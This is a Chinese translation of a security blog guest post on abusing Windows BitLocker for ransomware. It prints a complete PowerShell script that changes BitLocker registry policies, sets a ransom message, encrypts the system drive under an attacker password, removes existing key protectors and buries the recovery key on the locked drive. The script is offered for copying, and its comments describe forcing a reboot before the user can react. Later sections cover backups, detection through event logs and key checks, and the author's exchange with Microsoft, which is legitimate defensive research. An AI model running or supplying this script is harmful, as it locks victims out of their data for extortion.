利用BitLocker进行勒索攻击:微软内置工具的恶意利用

本文详细分析了如何通过PowerShell脚本滥用BitLocker功能实现勒索攻击,包括加密系统驱动器、移除恢复密钥、设置自定义勒索信息,并探讨了检测方法和微软的官方回应。

BitLocker勒索软件:将BitLocker用于恶意目的

编者按:我们很高兴发布我们的第一篇客座文章!如果您想在我们的博客上发布客座文章,请在Twitter上私信我们,或使用我们的联系表单联系我们获取详情。


Robert Schwass //

我不知道我是怎么找到的,但几天前我偶然看到一篇关于微软在Windows 10上为BitLocker实施的新“功能”的文章。最引人注目的功能是有一个新的组策略用于配置预启动恢复。我知道这本身听起来并不那么令人兴奋,但如果你将其与Windows 8中引入的另一个功能结合起来,即现在可以在没有TPM(可信平台模块)甚至没有USB驱动器的情况下加密操作系统驱动器,你就有了一个邪恶的配方。

在向BHIS展示这一发现后,他们提出了自己的问题。进一步的研究表明,你可以剥离受保护驱动器上的恢复密钥和密码,并在不需要知道这些密码或密钥的情况下替换它们。

基于BitLocker的勒索软件!

使用BitLocker的PowerShell Cmdlet,我能够创建一个脚本,用自定义恢复消息加密系统驱动器。以下脚本锁定驱动器并丢弃恢复密钥,将其放在被加密的驱动器上。解锁驱动器的唯一方法是使用密码。

如果驱动器已经受到BitLocker保护,脚本会移除所有密码和恢复密钥并替换它们。

注意:脚本需要本地管理员权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#BitLocker for Ransom

#Is BitLocker already enabled on the system drive

$Check = (get-BitLockervolume -mountpoint $ENV:SystemDrive)

$Status = $Check.ProtectionStatus

if($Status -eq 'Off'){echo 'BitLocker NOT Enabled on System Drive'}

if($Status -eq 'On'){echo 'BitLocker IS Enabled on System Drive'}

#Set registry first

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v EnableBDEWithNoTPM 
/t REG_DWORD /d 1 /f

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseAdvancedStartup 
/t REG_DWORD /d 1 /f

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPM /t REG_DWORD 
/d 2 /f

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMKey /t 
REG_DWORD /d 2 /f

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMKeyPIN /t 
REG_DWORD /d 2 /f

#Change the recovery message to meet your needs. In my example I 
put a fake website where the victim can come and pay for their 
password

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v RecoveryKeyMessage 
/t REG_SZ /d 'please Visit my hacker site https://yourscrewed.hahaha 
to give me money' /f

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /V 
RecoveryKeyMessageSource /t REG_DWORD /d 2 /f

REG ADD HKLM\SOFTWARE\Policies\Microsoft\FVE /v UseTPMPIN /t 
REG_DWORD /d 2 /f

#Use a Strong Password Here!

$PlainPassword = "P@ssw0rd"

$SecurePassword = $PlainPassword | ConvertTo-SecureString 
-AsPlainText -Force

if($Status -eq 'Off'){

#Enable BitLocker, Encrypt the used space on the C: drive

enable-BitLocker -EncryptionMethod Aes256 -password $securepassword 
-mountpoint $ENV:SystemDrive  -PasswordProtector -skiphardwaretest 
-UsedSpaceOnly

#To use the Custom Recovery Screen, there must be a recovery key 
created. I dont want to use the recovery key, so I put it on the 
encrypted C: drive so it is inaccessible.

add-BitLockerkeyprotector -mountpoint $ENV:SystemDrive 
-RecoveryKeyProtector -RecoveryKeyPath $ENV:SystemDrive\

#Uncomment to restart the Computer ASAP so that the damage is done 
before the user can undo it. I dont do this by default

#restart-computer

}

#If BitLocker is already enabled on the systemd drive. The following 
will execute, removing all passwords and recovery keys. Then adding 
my own passwords and keys just like before.

if ($Status -eq 'On'){

#Strip all Passwords and Recovery keys (Not yet Tested with TPM)

$IDS = $check.KeyProtector.KeyProtectorID

foreach($ID in $IDS){

Remove-BitLockerKeyProtector -Mountpoint $ENV:SystemDrive 
-KeyProtectorID $ID

}

add-BitLockerkeyprotector -mountpoint $ENV:SystemDrive 
-PasswordProtector -Password $securepassword

add-BitLockerkeyprotector -mountpoint $ENV:SystemDrive 
-RecoveryKeyProtector -RecoveryKeyPath $ENV:SystemDrive\

Resume-BitLocker -MountPoint $ENV:SystemDrive

}
##ENDSCRIPT##

脚本执行迅速,下次计算机重启时,用户会看到通常的BitLocker密码提示。按ESC键可以看到恢复选项。你会看到放入系统注册表中的自定义恢复消息。

就这样。使用微软内置功能和工具的勒索软件。我不会详细说明如何将其武器化为有效载荷或强制提升提示,互联网上已经有很多博客文章和视频包含这些信息。

脚本中有一行可以在脚本执行后立即重启计算机,这可以防止用户停止锁定过程。我默认将重启选项注释掉,因为我认为大多数用户会忽略警告驱动器正在加密的小通知。根据我的经验,只有在脚本运行前驱动器未加密时才会出现此通知。

研究注意事项

我在工作组全新安装的Windows 10评估版上进行了所有这些研究。没有迹象表明在加入域的系统上这样做会有不同的结果,因为BitLocker读取的是当前注册表设置,而不是启动时加载的设置。

防御——准备好失去一切

备份你的个人数据。如果你需要的所有东西都在云端、外部设备或其他远程存储上,你会没事的。

防御——如何识别这种情况?

使用PowerShell或CMD进行检测

如果你在寻找它,这很容易检测。你可以使用启用BitLocker的相同工具来检测它是否正在运行。在Windows中,有方法可以在关机/重启时运行脚本,甚至定期运行脚本查询BitLocker是否开启以及恢复密钥和方法是什么/在哪里。将当前的恢复密钥与你已知的密钥进行比较,如果密钥不同,则重置密钥或向帮助台发送警报等。

如果你更习惯使用cmd和批处理脚本,manage-bde.exe工具允许你执行与PowerShell Cmdlet类似的任务。

使用事件日志进行检测

BitLocker事件默认记录到源应用程序和服务 → Microsoft → Windows → BitLocker-API → 管理。事件775在创建密钥保护器时发生。事件768在驱动器开始加密时发生(至少在我的测试中c:驱动器是这样)。在我的实验中还发生了其他事件796和780。在这些日志上设置警报是检测BitLocker是否被打开/关闭或密钥是否被更改的好方法。

此外,首先避免给攻击者管理员权限。使用常见的恶意软件防御措施;扫描电子邮件附件,进行用户意识培训等。

我个人认为微软犯了一个大错误,允许在不强制使用USB或TPM的情况下配置BitLocker,他们也没有在更改密码和恢复密钥之前要求重新验证,这确实错过了安全标记。

我联系了微软安全响应中心,表达了我对当前BitLocker实施的担忧,他们很友好地回复了。

微软MSRC代表:“你好,

感谢您联系微软安全响应中心(MSRC)。要以这种方式使用BitLocker,恶意人员需要已经入侵机器并拥有管理员权限,在这种情况下,他们可以对系统做任何他们想做的事情,就像任何本地管理员一样。

此致, MSRC”

我回复:“今天有很多安全技术,即使我的系统被入侵,攻击者仍然需要验证才能更改密码。有没有办法我可以实施BitLocker,强制管理员在更改恢复密钥之前对其进行验证?

微软是否考虑在未来为BitLocker添加这样的功能?”

微软回应:“感谢您联系微软安全响应中心(MSRC)。这不会是一个安全漏洞,可能是设计如此。您可以使用Windows 10中的Windows反馈应用向Windows团队提交建议。”

微软确实认真对待安全,我只是需要找到正确的方式发布这些信息。我会在虚拟机内遵循微软的建议,我不喜欢将我的操作系统与我的微软账户绑定,叫我老派吧。


要获取代码的复制/粘贴版本,请访问Robert的GitHub这里


准备学习更多? 通过Antisyphon的实惠课程提升你的技能! 付费转发培训 提供直播/虚拟和点播服务

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计